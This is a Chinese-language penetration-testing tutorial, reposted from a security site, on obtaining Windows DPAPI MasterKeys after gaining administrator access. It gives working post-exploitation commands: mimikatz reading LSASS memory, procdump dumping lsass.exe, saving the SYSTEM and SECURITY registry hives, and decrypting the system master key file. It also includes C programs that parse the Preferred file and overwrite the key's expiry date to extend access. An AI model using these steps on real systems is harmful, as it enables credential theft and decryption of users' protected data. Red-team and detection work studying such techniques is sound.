渗透技巧——获取Windows系统下DPAPI中的MasterKey

川长思鸟来 2022-02-19 01:49 662阅读 0赞

转自： [https://www.4hou.com/technology/10477.html][https_www.4hou.com_technology_10477.html]

导语：对于Windows系统，用户的加密数据大都采用DPAPI进行存储，而想要解密这些数据解，必须要获得DPAPI对应的MasterKey。本文将会介绍在获得了Windows系统的权限后获得MasterKey的方法，同时分析Preferred文件格式，延长MasterKey的有效期

**0x00前言**

对于Windows系统，用户的加密数据大都采用DPAPI进行存储，而想要解密这些数据解，必须要获得DPAPI对应的MasterKey。本文将会介绍在获得了Windows系统的权限后获得MasterKey的方法，同时分析Preferred文件格式，延长MasterKey的有效期

**0x01 简介**

本文将要介绍以下内容

基本概念

·获得MasterKey的方法

·解析Preferred文件

·修改MasterKey失效时间

**0x02 基本概念**

**DPAPI：**

全称Data Protection Application Programming Interface

作为Windows系统的一个数据保护接口被广泛使用

主要用于保护加密的数据，常见的应用如：

·EFS文件加密

·存储无线连接密码

·Windows Credential Manager

·Internet Explorer

·Outlook

·Skype

·Windows CardSpace

·Windows Vault

·Google Chrome

**Master Key：**

64字节，用于解密DPAPI blob，使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

**Master Key file：**

二进制文件，可使用用户登录密码对其解密，获得Master Key

分为两种：

·用户Master Key file，位于%APPDATA%\\Microsoft\\Protect\\%SID%

·系统Master Key file，位于%WINDIR%\\System32\\Microsoft\\Protect\\S-1-5-18\\User

**Preferred文件：**

位于Master Key file的同级目录，显示当前系统正在使用的MasterKey及其过期时间，默认90天有效期

**0x03 获得MasterKey的方法**

本节主要介绍通过mimikatz获得MasterKey的方法

**1、在线获取**

通过读取Lsass进程信息，获取当前系统中的MasterKey，能获得多个Master Key file对应的MasterKey

管理员权限：

privilege::debug
    sekurlsa::dpapi

如下图

![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey]![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey 1]

**2、离线读取**

**思路一：**

使用procdump dump出LSASS进程内存

管理员权限：

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey：

sekurlsa::minidump lsass.dmp
    sekurlsa::dpapi

**思路二：**

参考资料：

[https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials][https_github.com_gentilkiwi_mimikatz_wiki_howto-_-scheduled-tasks-credentials]

1、复制注册表文件

管理员权限：

reg save HKLM\SYSTEM SystemBkup.hiv
    reg save HKLM\SECURITY SECURITY.hiv

2、从注册表文件中获得DPAPI\_SYSTEM

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

如下图

![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey 2]DPAPI\_SYSTEM中的user hash为c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3，能够用来解密位于%WINDIR%\\System32\\Microsoft\\Protect\\S-1-5-18\\User下的系统Master Key file

3、解密系统Master Key file，获得MasterKey

mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"

解密获得MasterKey为3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43

如下图

![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey 3]

**0x04 解析Preferred文件**

位于Master Key file的同级目录，显示当前系统正在使用的MasterKey file及其过期时间

格式如下：

typedef struct _tagPreferredMasterKey
    {
        GUID guidMasterKey;
        FILETIME ftCreated;
    } PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

例如C:\\Users\\b\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2884853959-2080156797-250722187-1002\\Preferred

如下图

![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey 4]

前16字节F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58对应guid，调整格式后，对应文件为a111b0f6-b4d7-40c8-b536-672a8288b958

后8字节D0 08 9F 7D 11 EC D3 01对应过期时间

对于表示时间的FILETIME，格式如下：

typedef struct _FILETIME {  
                              DWORD dwLowDateTime;  
                              DWORD dwHighDateTime;  
    } FILETIME, *PFILETIME;

想要显示成日常使用的时间格式，需要将FILETIME类型转成SYSTEMTIME类型

在程序实现上，还需要注意使用sscanf\_s函数将字符串转换为DWORD格式

可供参考的C代码如下：

#include <windows.h>
    int main(void)  
    {  
        FILE *fp;  
        unsigned char buf[24];
        fopen_s(&fp,"Preferred","rb");  
        fread(buf,1,24,fp);
        printf("Data: ");
        for(int i=0;i<24;i++)
        {
            printf("%02x",buf[i]);
        }
        fclose(fp);
        printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);
        char lowDateTime[9],highDateTime[9];
        sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
        sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);
        printf("dwLowDateTime:%s\n",lowDateTime);
        printf("dwHighDateTime:%s\n",highDateTime);
        FILETIME        ftUTC;
        SYSTEMTIME      stUTC2;
        sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
        sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
        FileTimeToSystemTime(&ftUTC, &stUTC2);  
        printf("");
        printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);  
        return 0;  
    }

**注：**

也可以使用fread读取int型数据来解决字符串倒序的问题

读取Preferred文件，解析出当前系统正在使用的Master Key file的guid和过期时间

测试如下图

![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey 5]

**0x05 修改MasterKey失效时间**

修改思路：

输入过期时间，将过期时间转为FILETIME格式，替换Preferred文件的FILETIME

可供参考的c代码如下：

#include <windows.h>  
    int main(void)  
    {  
        SYSTEMTIME st={0};
        FILETIME   ft={0};
        printf("[+]Start to change expiry time...\n");  
        st.wYear = 2019;
        st.wMonth = 12;
        st.wDay = 30;
        st.wHour = 12;
        st.wMinute = 30;
        st.wSecond = 30;
        printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
        SystemTimeToFileTime(&st,&ft);
        printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
        printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);
        FILE *fp;  
        fopen_s(&fp,"Preferred","rb+");  
        fseek(fp,16,SEEK_SET);
        fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
        fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
        fclose(fp);
        printf("[+]Change success.\n");
        return 0;  
    }

读取Preferred文件，将过期时间设置为2019-12-30 12:30:30

修改后重新读取Preferred文件信息，成功修改，如下图

![渗透技巧——获取Windows系统下DPAPI中的MasterKey][Windows_DPAPI_MasterKey 6]

**0x06 小结**

本文总结了在获得了Windows系统的权限后获得MasterKey的方法，编写程序自动分析Preferred文件格式并延长MasterKey的有效期

[https_www.4hou.com_technology_10477.html]: https://www.4hou.com/technology/10477.html
[Windows_DPAPI_MasterKey]: https://www.4hou.com/uploads/20180226/1519628402789212.png
[Windows_DPAPI_MasterKey 1]: https://www.4hou.com/uploads/20180226/1519628410721480.png
[https_github.com_gentilkiwi_mimikatz_wiki_howto-_-scheduled-tasks-credentials]: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials
[Windows_DPAPI_MasterKey 2]: https://www.4hou.com/uploads/20180226/1519628945565701.png
[Windows_DPAPI_MasterKey 3]: https://www.4hou.com/uploads/20180226/1519629378189976.png
[Windows_DPAPI_MasterKey 4]: https://www.4hou.com/uploads/20180226/1519629423488637.png
[Windows_DPAPI_MasterKey 5]: https://www.4hou.com/uploads/20180226/1519629464618507.png
[Windows_DPAPI_MasterKey 6]: https://www.4hou.com/uploads/20180226/1519629566408332.png